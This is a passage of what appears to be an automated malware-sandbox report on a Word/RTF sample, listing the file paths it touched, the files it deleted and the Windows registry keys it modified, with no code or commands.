  843. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  844. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  845. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRD0002.tmp",
  846. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp"
  847.  
  848.  
  849. * Deleted Files:
  850. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\3BC05A48.png",
  851. "C:\\Users\\user\\AppData\\OICE_15_974FA576_32C1D314_1824\\",
  852. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab838E.tmp",
  853. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar839F.tmp",
  854. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  855. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  856. "C:\\Users\\user\\AppData\\Local\\Temp\\Abctfhghghghghg.sct",
  857. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\AutoRecovery save of RTF_f52464abdc6552f646361cab0cfa6372.asd",
  858. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  859. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  860. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001104fn=Feathered.eftx",
  861. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001103fn=Headlines.eftx",
  862. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457491fn=Metropolitan.eftx",
  863. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001104fn=Feathered.xml",
  864. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001103fn=Headlines.xml",
  865. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457491fn=Metropolitan.xml",
  866. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03090434fn=Wood Type.eftx",
  867. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033927fn=Main Event.eftx",
  868. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033917fn=Berlin.eftx",
  869. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457503fn=Quotable.eftx",
  870. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033919fn=Circuit.eftx",
  871. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001104fn=Feathered.xml",
  872. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001106fn=Badge.eftx",
  873. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001103fn=Headlines.xml",
  874. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033921fn=Damask.eftx",
  875. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033937fn=Vapor Trail.eftx",
  876. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033927fn=Main Event.xml",
  877. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457496fn=Parallax.eftx",
  878. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457444fn=Basis.eftx",
  879. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457485fn=Mesh.eftx",
  880. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033929fn=Slate.eftx",
  881. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03090430fn=Banded.eftx",
  882. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03090434fn=Wood Type.xml",
  883. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457464fn=Dividend.eftx",
  884. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457491fn=Metropolitan.xml",
  885. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033917fn=Berlin.xml",
  886. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001106fn=Badge.xml",
  887. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033937fn=Vapor Trail.xml",
  888. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033921fn=Damask.xml",
  889. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033919fn=Circuit.xml",
  890. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033927fn=Main Event.xml",
  891. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033917fn=Berlin.xml",
  892. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033937fn=Vapor Trail.xml",
  893. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457485fn=Mesh.xml",
  894. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033921fn=Damask.xml",
  895. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001106fn=Badge.xml",
  896. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03090430fn=Banded.xml",
  897. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457485fn=Mesh.xml",
  898. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033929fn=Slate.xml",
  899. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457475fn=Frame.eftx",
  900. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03090430fn=Banded.xml",
  901. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033919fn=Circuit.xml",
  902. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03090434fn=Wood Type.xml",
  903. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457496fn=Parallax.xml",
  904. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457464fn=Dividend.xml",
  905. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457510fn=Savon.eftx",
  906. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457444fn=Basis.xml",
  907. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457475fn=Frame.xml",
  908. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457510fn=Savon.xml",
  909. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457464fn=Dividend.xml",
  910. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457496fn=Parallax.xml",
  911. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033929fn=Slate.xml",
  912. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001105fn=Crop.eftx",
  913. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457515fn=View.eftx",
  914. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457444fn=Basis.xml",
  915. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457475fn=Frame.xml",
  916. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457515fn=View.xml",
  917. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001105fn=Crop.xml",
  918. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033925fn=Droplet.eftx",
  919. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457515fn=View.xml",
  920. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457510fn=Savon.xml",
  921. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457503fn=Quotable.xml",
  922. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457503fn=Quotable.xml",
  923. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001105fn=Crop.xml",
  924. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033925fn=Droplet.xml",
  925. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033925fn=Droplet.xml",
  926. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA5DF.tmp",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA5E0.tmp",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA610.tmp",
  929. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA611.tmp",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA641.tmp",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA641.tmp\\APASixthEditionOfficeOnline.xsl",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA1D6.tmp",
  933. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA6EE.tmp",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA6EF.tmp",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA71F.tmp",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA71F.tmp\\HexagonRadial.glox",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA30F.tmp",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp",
  939. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS2BE47EE7-C466-4DD1-B0B0-8E2E787D7852.tmp",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\~$F_f52464abdc6552f646361cab0cfa6372.doc_dl_1"
  941.  
  942.  
  943. * Modified Registry Keys:
  944. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\4=5",
  945. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  946. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\packager.dll,-2000",
  947. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  948. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  949. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  950. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  951. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  952. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  953. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  954. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  955. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  956. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  957. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  958. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\GraphicsFiltersPNGFilesIntl_1033",
  959. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  960. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  961. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  962. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  963. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  964. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\ProductNonBootFilesIntl_1033",
  965. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  966. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  967. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  968. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  969. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  970. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  971. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  972. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  973. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  974. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  975. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  976. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  977. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  978. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  979. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  980. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  981. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  982. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  983. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  984. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  985. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  986. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  987. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  988. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  989. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  990. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  991. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  992. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  993. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  994. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  995. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  996. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  997. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  998. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  999. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1000. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1001. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1002. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1003. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1004. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1005. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1006. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1007. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1008. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1009. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1010. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1011. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1012. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1013. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1014. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1015. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1016. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1017. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1018. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1019. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1020. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1021. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1022. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1023. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1024. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1025. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1026. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
